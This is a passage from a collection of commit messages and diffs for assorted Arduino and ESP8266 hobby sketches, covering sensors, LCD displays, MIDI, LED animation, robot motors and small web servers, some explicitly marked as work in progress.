+}
+
+/*
+   文字列を囲んだりする奴
+ */
+
+String wrapBrace(String str){
+  return wraped('{', str, '}');
+}
+
+String wrapDq(String str){
+  return wrapChar(str, '"');
+}
+
+String wrapChar(String str, char wrap){
+  return wraped(wrap, str, wrap);
+}
+
+String wraped(char before, String body, char after){
+  return before + body + after;
+}


looks like it all works

looks like it all works

--- wristwatch.ino
+++ wristwatch.ino
@@ -1,3 +1,9 @@
+int sensor1 = 0;
+int sensor2 = 0;
+int button = 0;
+
+
+
 void setup() {
     pinMode(9, OUTPUT);
     Serial.begin(9600);
@@ -5,12 +11,16 @@

 // the loop routine runs over and over again forever:
 void loop() {
+    sensor1 = analogRead(A0);
+    sensor2 = analogRead(A1);
+    button = digitalRead(A2);
+
     Serial.print("[");
-    Serial.print(analogRead(A0));
+    Serial.print(sensor1);
     Serial.print(", ");
-    Serial.print(analogRead(A1));
+    Serial.print(sensor2);
     Serial.print(", ");
-    Serial.print(digitalRead(8));
+    Serial.print(button);
     Serial.println("]");
     delay(10);
 }
@@ -18,9 +28,9 @@
 void serialEvent() {
     while (Serial.available()) {
         char inChar = (char)Serial.read();
-        if (inChar == '0') {
+        if (inChar == 'Y') {
             digitalWrite(9, HIGH);
-        } else if ( inChar == '1') {
+        } else if ( inChar == 'N') {
             digitalWrite(9, LOW);
         }
     }


WIP: compiling not working

WIP: compiling not working

--- src/Music/Music.ino
+++ src/Music/Music.ino
@@ -41,20 +41,24 @@
         MP3_RST, MP3_CS, MP3_XDCS, MP3_DREQ,
         MP3_SDCS);

-// holds the number of possible tracks to play in each gesture
-int tracksBaff = 0;
-int tracksWins = 0;
-int tracksLose = 0;
-int tracksRock = 0;
+const int NUM_DIRECTORIES = 4;
 // holds the location of the tracks
 const char dirBaff[] = "BAFF";
 const char dirWins[] = "WINS";
 const char dirLose[] = "LOSE";
 const char dirRock[] = "ROCK";

+// holds the number of possible tracks to play in each gesture
+// also holds the location
+typedef struct
+{
+    char *loc;
+    int count;
+} DirInfo;
+
 EasyTransfer easyTransfer;
 SoundMessage message;
-char currDir[] = {4};
+DirInfo musicDir[NUM_DIRECTORIES];

 void setup() {
     Serial.begin(SERIAL_SPEED);
@@ -81,7 +85,7 @@
 void serialEvent() {
     if (easyTransfer.receiveData()) {

-        playRandomTrack(getDirectory(message.type), message.playCount);
+        playRandomTrack(musicDir[message.type]);
     }
 }

@@ -91,7 +95,7 @@
     if ( message.type > TYPE_STOP && !musicPlayer.playingMusic) {
         Serial << endl; // TODO: what does this line do?
         musicPlayer.setVolume(message.volume, message.volume);
-        playRandomTrack(getDirectory(message.type), message.playCount);
+        playRandomTrack(musicDir[message.type]);
     } else if ( message.type == TYPE_STOP && musicPlayer.playingMusic ) {
         musicPlayer.stopPlaying();
     } else if ( message.type == TYPE_VOLUME ) {
@@ -110,31 +114,19 @@
     }
 }

-const char * getDirectory(int messageType) {
-    if (messageType == TYPE_BAFF) { return dirBaff; }
-    //return dirBaff;
-    switch (messageType) {
-        case TYPE_BAFF: return dirBaff;
-        case TYPE_WIN: return dirWins;
-        case TYPE_LOSE: return dirLose;
-        case TYPE_ROCK: return dirRock;
-        //case 5: musicUnitTest(); break;
-    }
-}
-
-void playRandomTrack(const char *dirName, int totalTracks) {
+void playRandomTrack(DirInfo &dirInfo) {
     // soft reset.  hate to have this here, but when I flip btw codec types, I get static w/o this.
     musicPlayer.stopPlaying();
     musicPlayer.sciWrite(VS1053_REG_MODE, VS1053_MODE_SM_SDINEW | VS1053_MODE_SM_RESET);

-    File dir = SD.open(dirName);
+    File dir = SD.open(dirInfo.loc);
     if ( ! dir.isDirectory() ) {
         Serial << F("Error! not a directory: ") << dirName << endl;
     }
     dir.rewindDirectory(); // can't seem to cleanly get the SD card file handlers to start at the top of the dir!!!!

     // pick a track
-    int track = random(0, totalTracks);
+    int track = random(0, dirInfo.count);

     // seek file
     File entry = dir.openNextFile(); // have to open a file simply to get it's name!!
@@ -183,11 +175,10 @@
     }
     Serial << F("SD OK!") << endl;

-    // get track counts
-    tracksBaff = countTracks(dirBaff);
-    tracksWins = countTracks(dirWins);
-    tracksLose = countTracks(dirLose);
-    tracksRock = countTracks(dirRock);
+    configMusicDir(musicDir[TYPE_BAFF], dirBaff);
+    configMusicDir(musicDir[TYPE_WIN], dirWins);
+    configMusicDir(musicDir[TYPE_LOSE], dirLose);
+    configMusicDir(musicDir[TYPE_ROCK], dirRock);

     // show counts
     Serial << F("Track counts:") << endl;
@@ -203,6 +194,11 @@
     Serial.flush();
 }

+void configMusicDir(DirInfo &dirInfo, const char &loc) {
+    dirInfo.count = countTracks(loc);
+    dirInfo.loc = loc;
+}
+
 void musicUnitTest() {
     // soft reset.  hate to have this here, but when I flip btw codec types, I get static w/o this.
     musicPlayer.stopPlaying();
@@ -220,10 +216,10 @@
 }

 // File listing helper
-int countTracks(const char *dirName) {
+int countTracks(const char &dirInfo) {
     int count = 0; // track number

-    File dir = SD.open(dirName);
+    File dir = SD.open(dirInfo);

     while (true) {


bug in lcd print

bug in lcd print

--- _04-lcd-dust/_04-mqtt-lcd-dust-sensor-esp-12/_04-mqtt-lcd-dust-sensor-esp-12.ino
+++ _04-lcd-dust/_04-mqtt-lcd-dust-sensor-esp-12/_04-mqtt-lcd-dust-sensor-esp-12.ino
@@ -62,12 +62,19 @@
 IPAddress influxdbudp = MQTT_SERVER;
 IPAddress mqtt_server = MQTT_SERVER;
 IPAddress time_server = MQTT_SERVER;
+
 //
-//RtcDS3231 Rtc;
-
 #define INFO_PRINT 0
 #define DEBUG_PRINT 1

+// rtc
+#define SquareWavePin 1
+volatile unsigned long SquareWaveCount;
+unsigned long old_SquareWaveCount;
+
+RtcDS1307 Rtc;
+
+//---------
 char* topic = "esp8266/arduino/s03";
 char* hellotopic = "HELLO";

@@ -141,15 +148,6 @@
 int _sensor_error_count;
 unsigned long _sensor_report_count;
 unsigned int DHTnextSampleTime;
-
-
-// rtc
-#define SquareWavePin 1
-volatile unsigned long SquareWaveCount;
-unsigned long old_SquareWaveCount;
-
-RtcDS1307 Rtc;
-

 // This wrapper is in charge of calling
 // must be defined like this for the lib work
@@ -315,10 +313,6 @@
 }

 void lcdInitialize() {
-  lcd.init();
-  lcd.backlight();
-  lcd.clear();
-
   lcd.createChar(1, termometru);
   lcd.createChar(2, picatura);
   lcd.createChar(3, dustDensityicon);
@@ -355,6 +349,12 @@
 }

 void setup() {
+  delay(20);
+
+  lcd.init();
+  lcd.backlight();
+  lcd.clear();
+
   system_update_cpu_freq(SYS_CPU_80MHz);
   startMills = sentMills = millis();
   Wire.begin(0, 2);
@@ -362,11 +362,12 @@
   T2 =  OT = PW = NW =  dustDensity = SquareWaveCount = old_SquareWaveCount = 0 ;
   PIR = HO = HL = moisture = unihost = rsphost = unitot = rsptot = 0;
   msgcallback = false;
-  lastReconnectAttempt = 0;

   Rtc.Begin();
   Rtc.SetIsRunning(true);
   Rtc.SetSquareWavePin(DS1307SquareWaveOut_1Hz);
+
+  lastReconnectAttempt = 0;

   pinMode(SquareWavePin, INPUT_PULLUP);
   attachInterrupt(SquareWavePin, check_SquareWaveCount, FALLING);
@@ -381,8 +382,6 @@
   clientName += " - ";
   clientName += String(micros() & 0xff, 16);

-  lcdInitialize();
-
   WiFiClient::setLocalPortStart(analogRead(A0));
   wifi_connect();

@@ -392,6 +391,9 @@
   if (timeStatus() == timeNotSet) {
     setSyncProvider(getNtpTime);
   }
+
+  // lcd
+  lcdInitialize();

   //OTA
   // Port defaults to 8266
@@ -573,7 +575,7 @@
   udppayload += " SquareWaveCount=";
   udppayload += SquareWaveCount;
   udppayload += "i";
-
+
   sendUdpmsg(udppayload);
 }

@@ -705,9 +707,9 @@

     lcd.setCursor(14, 1);
     if ( tempdiff > 0 ) {
-      lcd.print(" + ");
+      lcd.print("+");
     } else if ( tempdiff < 0 ) {
-      lcd.print(" - ");
+      lcd.print("-");
     }

     String str_tempdiff = String(int abs(tempdiff));
@@ -831,9 +833,9 @@
   // digital clock display of the time
   lcd.setCursor(0, 0);
   lcd.print(year());
-  lcd.print(" / ");
+  lcd.print("/");
   printDigitsnocolon(month());
-  lcd.print(" / ");
+  lcd.print("/");
   printDigitsnocolon(day());
   lcd.print(" ");
   printDigitsnocolon(hour());
@@ -851,7 +853,7 @@

 void printDigits(int digits) {
   // utility for digital clock display: prints preceding colon and leading 0
-  lcd.print(": ");
+  lcd.print(":");
   if (digits < 10) {
     lcd.print('0');
   }


remove twi_setClock(200000)

remove twi_setClock(200000)

--- _04-lcd-dust/_04-mqtt-lcd-dust-sensor-esp-12/_04-mqtt-lcd-dust-sensor-esp-12.ino
+++ _04-lcd-dust/_04-mqtt-lcd-dust-sensor-esp-12/_04-mqtt-lcd-dust-sensor-esp-12.ino
@@ -345,7 +345,7 @@
   system_update_cpu_freq(SYS_CPU_160MHz);
   startMills = sentMills = millis();
   Wire.begin(0, 2);
-  twi_setClock(200000);
+  //twi_setClock(200000);

   T2 =  OT = PW = NW =  dustDensity = SquareWaveCount = old_SquareWaveCount = 0 ;
   //T2 =  OT = PW = NW =  dustDensity = 0 ;


lcd: remove transitional code for testing

--- lcd/lcd.ino
+++ lcd/lcd.ino
@@ -1,144 +0,0 @@
-/*************************************************************************************
-
-  Mark Bramwell, July 2010
-
-  This program will test the LCD panel and the buttons.When you push the button on the shield，
-  the screen will show the corresponding one.
-
-  Connection: Plug the LCD Keypad to the UNO(or other controllers)
-
-**************************************************************************************/
-
-#include <LiquidCrystal.h>
-#include <EEPROM.h>
-
-LiquidCrystal lcd(8, 9, 4, 5, 6, 7);           // select the pins used on the LCD panel
-
-// define some values used by the panel and buttons
-int lcd_key     = 0;
-int adc_key_in  = 0;
-
-#define btnRIGHT  0
-#define btnUP     1
-#define btnDOWN   2
-#define btnLEFT   3
-#define btnSELECT 4
-#define btnNONE   5
-
-int read_LCD_buttons(){               // read the buttons
-    adc_key_in = analogRead(0);       // read the value from the sensor
-
-    // my buttons when read are centered at these valies: 0, 144, 329, 504, 741
-    // we add approx 50 to those values and check to see if we are close
-    // We make this the 1st option for speed reasons since it will be the most likely result
-
-    if (adc_key_in > 1000) return btnNONE;
-
-    // For V1.1 us this threshold
-    //if (adc_key_in < 50)   return btnRIGHT;
-    //if (adc_key_in < 250)  return btnUP;
-    //if (adc_key_in < 450)  return btnDOWN;
-    //if (adc_key_in < 650)  return btnLEFT;
-    //if (adc_key_in < 850)  return btnSELECT;
-
-   // For V1.0 comment the other threshold and use the one below:
-     if (adc_key_in < 50)   return btnRIGHT;
-     if (adc_key_in < 195)  return btnUP;
-     if (adc_key_in < 380)  return btnDOWN;
-     if (adc_key_in < 555)  return btnLEFT;
-     if (adc_key_in < 790)  return btnSELECT;
-
-    return btnNONE;                // when all others fail, return this.
-}
-
-int ee_address = 0;
-
-struct lcdtext {
-    char s[14];
-};
-
-void setup() {
-   lcd.begin(16, 2);               // start the library
-   lcd.setCursor(0,0);             // set the LCD cursor   position
-   lcd.print("t:push buttons");  // print a simple message on the LCD
-
-    Serial.begin(9600);
-    delay(1000);
-    Serial.println("type to print on LCD");
-
-    String ee_text = "";
-
-    lcdtext lt_get;
-    EEPROM.get(ee_address, lt_get);
-    Serial.println("current text on EEPROM is");
-    Serial.print("t:");
-    Serial.println(lt_get.s);
-    lcd.setCursor(2,0);
-    lcd.print("              ");
-    lcd.setCursor(2,0);
-    lcd.print(lt_get.s);
-
-    Serial.println("type to print something else on LCD");
-}
-
-int incomingByte = 0;
-String incoming_text = "";
-
-void loop(){
-   lcd.setCursor(9,1);             // move cursor to second line "1" and 9 spaces over
-    lcd.print("s:");
-    lcd.setCursor(11,1);
-   lcd.print(millis()/1000);       // display seconds elapsed since power-up
-
-   lcd.setCursor(0,1);             // move to the begining of the second line
-   lcd_key = read_LCD_buttons();   // read the buttons
-
-   switch (lcd_key){               // depending on which button was pushed, we perform an action
-       case btnRIGHT:{             //  push button "RIGHT" and show the word on the screen
-            lcd.print("b:R");
-            break;
-       }
-       case btnLEFT:{
-             lcd.print("b:L"); //  push button "LEFT" and show the word on the screen
-             break;
-       }
-       case btnUP:{
-             lcd.print("b:U");  //  push button "UP" and show the word on the screen
-             break;
-       }
-       case btnDOWN:{
-             lcd.print("b:D");  //  push button "DOWN" and show the word on the screen
-             break;
-       }
-       case btnSELECT:{
-             lcd.print("b:S");  //  push button "SELECT" and show the word on the screen
-             break;
-       }
-       case btnNONE:{
-             lcd.print("b:N");  //  No action  will show "None" on the screen
-             break;
-       }
-   }
-
-    if (Serial.available() > 0) {
-        //incomingByte = Serial.read();
-        incoming_text = Serial.readString();
-
-        // say what you got:
-        Serial.print("t:");
-        //Serial.println(incomingByte, DEC);
-        Serial.println(incoming_text);
-        lcd.setCursor(2,0);
-        lcd.print("              ");
-        lcd.setCursor(2,0);
-        lcd.print(incoming_text);
-
-        char c_text[14];
-        lcdtext lt;
-        incoming_text.toCharArray(lt.s, 14);
-        //lt.s = c_text;
-
-        EEPROM.put(ee_address, lt);
-    }
-}
-


OTOSwitch license is changed from Apache to MIT.

--- samples/OTOswitch/arduino/OTOSwitch/OTOSwitch.ino
+++ samples/OTOswitch/arduino/OTOSwitch/OTOSwitch.ino
@@ -1,20 +1,11 @@
 /*
- * OTOplug1200TransmitterTest.pde - FSK 1200bps software modem test sketch
+ * OTOWwitch.ino - FSK 1200bps software modem sample sketch
  * Text send to Serial port is echo back as a modulated modem signal.
  *
- * Copyright 2010-2011 REINFORCE lab.
+ *  Copyright 2010-2011 REINFORCE lab.
+ *  Copyright 2012 WA-FU-U, LLC.
  *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
+ * Licensed under The MIT license.  (http://www.opensource.org/licenses/mit-license.php)
  *
  */


Use Drum kit channel on track 2

Use Drum kit channel on track 2

--- examples/MidiLight_Looper/MidiLight_Looper.ino
+++ examples/MidiLight_Looper/MidiLight_Looper.ino
@@ -54,7 +54,11 @@
 #define KEY_C1       (36)  // reserved to switch RECORD/PLAYBACK on track 1
 #define KEY_C1_SHARP (37)  // reserved to switch RECORD/PLAYBACK on track 2
 #define KEY_D1       (38)  // reserved to switch RECORD/PLAYBACK on track 3
-#define LAST_RESERVED_KEY KEY_D1
+#define LAST_RESERVED_KEY (KEY_D1)
+
+#define CHANNEL_1    (0x00)
+#define CHANNEL_2    (0x01)
+#define CHANNEL_DRUM (0x09)

 static unsigned long evtDelay = 0;
 static unsigned long currentTime = 0;
@@ -183,11 +187,11 @@

     // config tracks
     tracks[0].key = KEY_C1;
-    tracks[0].playbackChannel = 1;
+    tracks[0].playbackChannel = CHANNEL_1;
     tracks[1].key = KEY_C1_SHARP;
-    tracks[1].playbackChannel = 2;
+    tracks[1].playbackChannel = CHANNEL_DRUM;
     tracks[2].key = KEY_D1;
-    tracks[2].playbackChannel = 3;
+    tracks[2].playbackChannel = CHANNEL_2;
     for (tIdx = 0; tIdx < REC_MAX; tIdx++) {
         tracks[tIdx].eIdx = 0;
         tracks[tIdx].state = REC_STATE_IDLE;


Fixed typo in commentary

Fixed typo in commentary

--- examples/YunWebController/YunWebController.ino
+++ examples/YunWebController/YunWebController.ino
@@ -48,7 +48,7 @@
 // Create an Armdroid controller object
 Armdroid armdroid(armD1Pin, armD2Pin, armD3Pin, armD4Pin, armD5Pin, armD6Pin, armD7Pin, armD8Pin);

-// next revision of Armdroid Library will likly include a method to
+// next revision of Armdroid Library will likely include a method to
 // retrieve the current torque setting, for now, we'll simply maintain a boolean for this purpose:
 bool bTorqued;


Changed 2 to 3 on line 16

Changed 2 to 3 on line 16

--- 2019Testing/FlameSensor/FlameSensor.ino
+++ 2019Testing/FlameSensor/FlameSensor.ino
@@ -13,7 +13,7 @@
   //Read flame sensor from port A0
   int sensorReading = analogRead(A0);
   //Map reading to 1 of 3 values
-  int range = map(sensorReading, sensorMin, sensorMax, 0, 2);
+  int range = map(sensorReading, sensorMin, sensorMax, 0, 3);

   //Print results
   switch (range) {


new function prototype for on_colour() & 115200 baud (why wait?)

--- arduino/src/sketch.ino
+++ arduino/src/sketch.ino
@@ -40,7 +40,7 @@
 Animation* ANIM_TYPES[] = {
     new Blink(16, CRGB::Black),
     new Blink(16, CRGB::White),
-    new Chase(CRGB::Black),
+    new Chase(CRGB::Black),
     new Chase(CRGB::White),
     new RandomWipe(255, 255),
     new RandomSolidFade(255, 255),
@@ -57,6 +57,9 @@
 // Animation controller.
 RandomAnimator brand_animator(ANIM_TYPES, ANIM_COUNT);

+// add a prototype for the on_colour function ahead of the PubSubClient initialiser
+void on_colour(char* topic, uint8_t* payload, unsigned int length);
+
 // Messaging status.
 WiFiClient mqtt_wifi;
 PubSubClient mqtt(MQTT_SERVER, MQTT_PORT, on_colour, mqtt_wifi);
@@ -69,14 +72,15 @@

 #ifdef DEBUG
     // Initialise the serial port for debugging.
-    Serial.begin(9600);
+    Serial.begin(115200);
+    Serial.println(F("start does_tower"));
 #endif

     // Initialise the lighting strip.
     FastLED.addLeds<WS2812, BASE_PIN, GRB>(base_leds, BASE_COUNT);
     FastLED.addLeds<WS2812, BRAND_PIN_LEFT, GRB>(brand_leds, BRAND_COUNT);
     FastLED.addLeds<WS2812, BRAND_PIN_RIGHT, GRB>(brand_leds, BRAND_COUNT);
-
+
     // Indicate that we're trying to connect to WiFi.
     fill_solid(base_leds, BASE_COUNT, CRGB::Red);
     fill_solid(brand_leds, BRAND_COUNT, CRGB::Red);
@@ -108,7 +112,7 @@
     fill_solid(base_leds, BASE_COUNT, CRGB::Green);
     fill_solid(brand_leds, BRAND_COUNT, CRGB::Green);
     FastLED.show();
-
+
     // Check connectivity.
 #ifdef DEBUG
     Serial.println("Checking connection: www.google.com:80");
@@ -153,7 +157,7 @@
     fill_solid(brand_leds, BRAND_COUNT, CRGB::White);
     fill_solid(brand_leds_last, BRAND_COUNT, CRGB::White);
     FastLED.show();
-
+
 #ifdef DEBUG
     // Debug messaging.
     Serial.println("Initialisation complete, waiting for messages.");
@@ -196,7 +200,7 @@
 }

 /**
- * Called whenever an updated colour is received from the controlling
+ * Called whenever an updated colour is received from the controlling
  * software.
  */
 void on_colour(char* topic, uint8_t* payload, unsigned int length)
@@ -231,4 +235,3 @@
     FastLED.show();

 }
-


Update Barry.ino

Update Barry.ino

--- Barry/Barry.ino
+++ Barry/Barry.ino
@@ -12,8 +12,6 @@
    robot = new Robot(bras, PIN_SPEED, PIN_FORWARD, PIN_BACKWARD, PIN_SOUND0, PIN_SOUND1, PIN_BAR_SENSOR, PIN_LANCE_BALLE, PIN_DRAPEAU);

    pinMode(PIN_SWITCH, INPUT);
-
-    robot->test();
 }

 void loop()


Disable Screensaver for Bandscan

Disable Screensaver for Bandscan

Hey !

I used the band scan today for testing. I found that the screensaver is annoying in this mode while I'm working with quads.

What do you think ?

--- src/rx5808-pro-diversity/rx5808-pro-diversity.ino
+++ src/rx5808-pro-diversity/rx5808-pro-diversity.ino
@@ -127,6 +127,7 @@

     if (
         StateMachine::currentState != StateMachine::State::SCREENSAVER
+        && StateMachine::currentState != StateMachine::State::BANDSCAN
         && (millis() - Buttons::lastChangeTime) >
             (SCREENSAVER_TIMEOUT * 1000)
     ) {


Optimize one code lines in the LCDML_021_dynUpdatedContent example

--- examples/02_functionality/LCDML_021_dynUpdatedContent/LCDML_display_menu.ino
+++ examples/02_functionality/LCDML_021_dynUpdatedContent/LCDML_display_menu.ino
@@ -33,6 +33,9 @@
     uint8_t i = LCDML.MENU_getScroll();
     uint8_t maxi = _LCDML_DISP_rows + i;
     uint8_t n = 0;
+
+    // check the type off a menu element
+    dyn_menu_is_displayed = false;

     // check if this element has children
     if ((tmp = LCDML.MENU_getObj()->getChild(LCDML.MENU_getScroll())))
@@ -42,9 +45,7 @@
       {
         // check if a menu element has a condition and if the condition be true
         if (tmp->checkCondition())
-        {
-          // check the type off a menu element
-          dyn_menu_is_displayed = false;
+        {
           if(tmp->checkType_menu() == true)
           {
             // display normal content


Configure pins correctly

Configure pins correctly

--- ableton-midi-foot-controller.ino
+++ ableton-midi-foot-controller.ino
@@ -13,17 +13,29 @@
 const byte START = 250;
 const byte CONTINUE = 251;
 const byte STOP = 252;
-const int ledPin = 13;
-
-const byte bpmLed = 22;
-
+
+// LEDs
+const byte ledPin = 13;
+const byte bpmLed = 17;
+const byte ledPins[] = {10, 11, 12, 14, 15, 16};
+const byte bankDownLed = 22;
+const byte bankUpLed = 23;
+const byte stopLed = 21;
+const byte playLed = 20;
+
+
+// Buttons
 const byte channelButtonStart = 0;
-const byte numberOfChannelButtons = 2;
-const byte ledPins[] = {/*10, 11, 12,*/ 14, 15, 16};
-Button channelButtons[numberOfChannelButtons];
+const byte numberOfChannelButtons = 6;

 const byte bankDownPin = 6;
 const byte bankUpPin = 7;
+
+const byte stopPin = 8;
+const byte playPin = 9;
+
+Button channelButtons[numberOfChannelButtons];
+
 Button bankDownButton = Button();
 Button bankUpButton = Button();
 boolean bankDownState;
@@ -31,8 +43,6 @@
 boolean bankUpState;
 boolean bankUpDown;

-const byte stopPin = 8;
-const byte playPin = 9;
 Button stopButton = Button();
 Button playButton = Button();
 boolean stopState;
@@ -79,15 +89,15 @@
   for (byte i = 0; i < numberOfChannelButtons; i++) {
     channelButtons[i].init(channelButtonStart + i, ledPins[i]);
   }
-  bankDownButton.init(bankDownPin);
-  bankUpButton.init(bankUpPin);
-  stopButton.init(stopPin);
-  playButton.init(playPin);
+  bankDownButton.init(bankDownPin, bankDownLed);
+  bankUpButton.init(bankUpPin, bankUpLed);
+  stopButton.init(stopPin, stopLed);
+  playButton.init(playPin, playLed);
 }

 void setupLeds() {
   pinMode(ledPin, OUTPUT);
-  pinMode(bpmLed, OUTPUT);
+  pinMode(bpmLed, OUTPUT);
 }

@@ -114,6 +124,10 @@
     ledTest(ledPins[i]);
     //    digitalWrite(channelButtonLedStart +i,HIGH);
   }
+  ledTest(bankDownLed);
+  ledTest(bankUpLed);
+  ledTest(stopLed);
+  ledTest(playLed);
 }

 void ledTest(byte pin) {


Fixed Typos

Fixed Typos

--- src/WiFiSensor/deepsleep.ino
+++ src/WiFiSensor/deepsleep.ino
@@ -53,7 +53,8 @@
 	// We need to report to the MQTT Server
 	while (!mqtttimeout) {
 	  if(mqttconnect() != 0){
-		  Serial.println("Unable to connect to MQTT Server " + mqttfailcount + " tries");
+		  Serial.println("Unable to connect to MQTT Server ");
+		  Serial.println(mqttfailcount);
 		  delay(1000);
 	      mqttfailcount++;
 	  } else {
@@ -63,14 +64,14 @@
 	  }

 	  if(mqttfailcount >= 30 ){
-		  Serial.println("Giving up MQTT connection after "+ mqttfailcount + " tries" );
+		  Serial.println("Giving up MQTT connection"" );
 		  mqtttimeout = true;
 	  }

 	}

-	if(mqttsuccess){
+	if(mqttconnectsuccess){
 	  // Connect to MQTT Server
 	  //client.connect(mqttclientname.c_str(), mqttusername.c_str(), mqttpassword.c_str() );
 	  //Following is original
@@ -92,7 +93,9 @@

-  Serial.println("Sleep for " + sleepinterval + "s");
+  Serial.print("ESP Sleep for ");
+  Serial.print(sleepinterval);
+  Serial.print(" seconds.");

   digitalWrite(REDLED, LOW);
   digitalWrite(GREENLED, LOW);


Earpiece_TrableBoost_wApp: improve the comments at the top of the sketch

--- examples/AIC_Shield/Earpieces_TrebBoostComp_wApp/Earpieces_TrebBoostComp_wApp.ino
+++ examples/AIC_Shield/Earpieces_TrebBoostComp_wApp/Earpieces_TrebBoostComp_wApp.ino
@@ -1,6 +1,6 @@
-// Functional Test for Tympan Earpieces and Shield
+// Demo sketch using the Tympan digital-mic earpieces.
 //
-// Created: Eric Yuan, Open Audio, Jan 2020
+// Created: Chip Audette, Open Audio, Mar 2020
 //
 // This example code is in the public domain.
 //
@@ -9,11 +9,11 @@
 //    and two Tympan earpieces (each with a front and back PDM micrphone)
 //    connected through the earpiece audio ports (which uses the USB-B Mini connector).
 //
-//  Mixing:
-//  The front and back mic for each earpiece will be mixed into a single channel.
-//  The output will be routed to both the Tympan AIC (i2s_out[0,1]) and the
-//  Shield AIC (i2s_out[2,3]), which can be heard using the earpiece receivers
-//  or a headphone plugged into the 3.5mm audio jacks on either the Tympan or Shield
+// Sketch Features:
+//    * Control the two mics in each earpiece: Front-only, back-only, add the two, or subtract the two
+//    * After mixing the microphones, performs treble boost and WDRC compression on left and on right
+//    * Allows you to record all four mics to a 4-channel WAV file on the SD Card
+//    * Control the system via the Tympan App

 #include <Tympan_Library.h>
 #include "State.h"                          //For enums


timer fix

timer fix

--- _4motor_PS2.ino
+++ _4motor_PS2.ino
@@ -67,11 +67,9 @@
 	Serial.print(":");
 	Serial.print(jState.right);

+	// do not do anything if user takes control with joystick
 	if (jState.left || jState.right) {
 		MotorUpdate(jState);
-
-
-		startTime = millis();

 		// reset eyes and sensor
 		myservo.write(eyePos);
@@ -79,7 +77,11 @@
 		m = 40;

 		Serial.println(" - Joystick active");
-		return; // do not do anything if user takes control with joystick
+
+		// set last time when joystick was active
+		startTime = millis();
+
+		return;
 	}

 	// STOP after joystick becomes inactive


Added filehandlers for webserver.

Added filehandlers for webserver.

Sorted the web pages alphabetically.

--- webserver.ino
+++ webserver.ino
@@ -10,42 +10,49 @@

   ////////////////////////////////////////////////////////////////////////////////////
   //the web interface pages alphabetically
+
+  //handle the timer editor
+  if ( SPIFFS.exists( F( "/editor.htm" ) ) ) {
+    webServer.serveStatic( "/editor", SPIFFS, "/editor.htm" );
+  } else {
+    webServer.send( 200, FPSTR( textplainHEADER ), F( "No timer editor present during boot." ) );
+  }
+
+  //handle the filemanager
+  if ( SPIFFS.exists( F( "/filemanager.htm" ) ) ) {
+    webServer.serveStatic( "/filemanager", SPIFFS, "/filemanager.htm" );
+  } else {
+    webServer.on( "/filemanager", []() {
+      webServer.send( 200, FPSTR( textplainHEADER ), F( "No filemanager present during boot." ) );
+    });
+  }
+
+  //handle the emergency uploader
+  webServer.on( "/file_upload", []() {
+    showFileUploader();
+  });

   //handle the index page
   if ( SPIFFS.exists( F( "/index.htm" ) ) ) {
     webServer.serveStatic( "/", SPIFFS, "/index.htm" );
-    webServer.serveStatic( "/index.htm", SPIFFS, "/index.htm" );
   } else {
     webServer.on( "/", []() {
-      webServer.send( 200, FPSTR( textplainHEADER ), F( "No index.htm present during boot.\nUpload index.htm and reset controller" ) );
+      webServer.send( 200, FPSTR( textplainHEADER ), F( "No index.htm present during boot." ) );
     });
   }
-
-  //handle the filemanager
-  if ( SPIFFS.exists( F( "/filemanager.htm" ) ) ) {
-    webServer.serveStatic( "/filemanager", SPIFFS, "/filemanager.htm" );
-    webServer.serveStatic( "/filemanager.htm", SPIFFS, "/filemanager.htm" );
-  } else {
-    webServer.on( "/filemanager", []() {
-      webServer.send( 200, FPSTR( textplainHEADER ), F( "No filemanager present during boot.\nUpload index.htm and reset controller" ) );
-    });
-  }
-
-  //handle the timer editor
-  webServer.on( "/editor", []() {
-    webServer.send( 200, FPSTR( texthtmlHEADER ), F( "editor" ) );
-  });
-
-  //handle the file editor
-  webServer.on( "/file_upload", []() {
-    showFileUploader();
-  });

   //handle the setup page
   webServer.on( "/setup", []() {
     webServer.send( 200, FPSTR( texthtmlHEADER ), F( "setup page" ) );
   });

+  if ( SPIFFS.exists( F( "/setup.htm" ) ) ) {
+    webServer.serveStatic( "/setup", SPIFFS, "/setup.htm" );
+  } else {
+    webServer.on( "/setup", []() {
+      webServer.send( 200, FPSTR( textplainHEADER ), F( "No setup.htm present during boot." ) );
+    });
+  }
   /////////////////////////////////////////////////////////////////////////////////////
   //API calls alphabetically
   //API calls come from flash memory only and can not be deleted unlike files on SPIFFS


Fixed too many headers sent in '/api/upload'.

Headers were sent twice.
Once automagically by webServer and once by code.

--- webserver.ino
+++ webserver.ino
@@ -150,8 +150,6 @@
   });

   webServer.on( "/api/upload", HTTP_POST, []() {
-    webServer.sendHeader("Connection", "close");
-    webServer.sendHeader("Access-Control-Allow-Origin", "*");
     webServer.send( 200, "text/plain", "" );
   }, []() {
     HTTPUpload& upload = webServer.upload();


added fan control to web server

added fan control to web server


[Not Working] Attempt to connect to CTS

[Not Working] Attempt to connect to CTS

--- software/_proto_ESPTesting/ESPNano/ESPNano.ino
+++ software/_proto_ESPTesting/ESPNano/ESPNano.ino
@@ -84,9 +84,84 @@
 	}
 }

+int loops = 0;
+
 void loop(){
-
-
+	dbgSerial.println("[Using External Code]");
+//	reset();  //only CERTAIN way I've found of keeping it going
+//  delay(5000);  //esp takes a while to restart
+ // Serial.print("loops = ");  //check for successful connections to server
+  //Serial.println(loops);
+  loops++;
+  String cmd = "AT+CIPSTART=\"TCP\",\"";  //make this command: AT+CPISTART="TCP","146.227.57.195",80
+  cmd += DST_IP;
+  cmd += "\",80";
+  cmd += "\015\012";
+
+  Serial.print(cmd);  //send command to device
+
+  delay(2000);  //wait a little while for 'Linked' response - this makes a difference
+  if(Serial.find("Linked"))  //message returned when connection established WEAK SPOT!! DOESN'T ALWAYS CONNECT
+  {
+   dbgSerial.print("Connected to server at ");  //debug message
+   dbgSerial.println(DST_IP);
+  }
+  else
+  {
+    dbgSerial.println("'Linked' response not received");  //weak spot! Need to recover elegantly
+  }
+
+  cmd =  "GET /rtt/public/utility/file.aspx?contenttype=SQLXML&Name=RoutePositionET.xml&PlatformNo=14599 HTTP/1.0\r\n";  //construct http GET request
+  cmd += "Host: corvallistransit.com\r\n\r\n";        //test file on my web
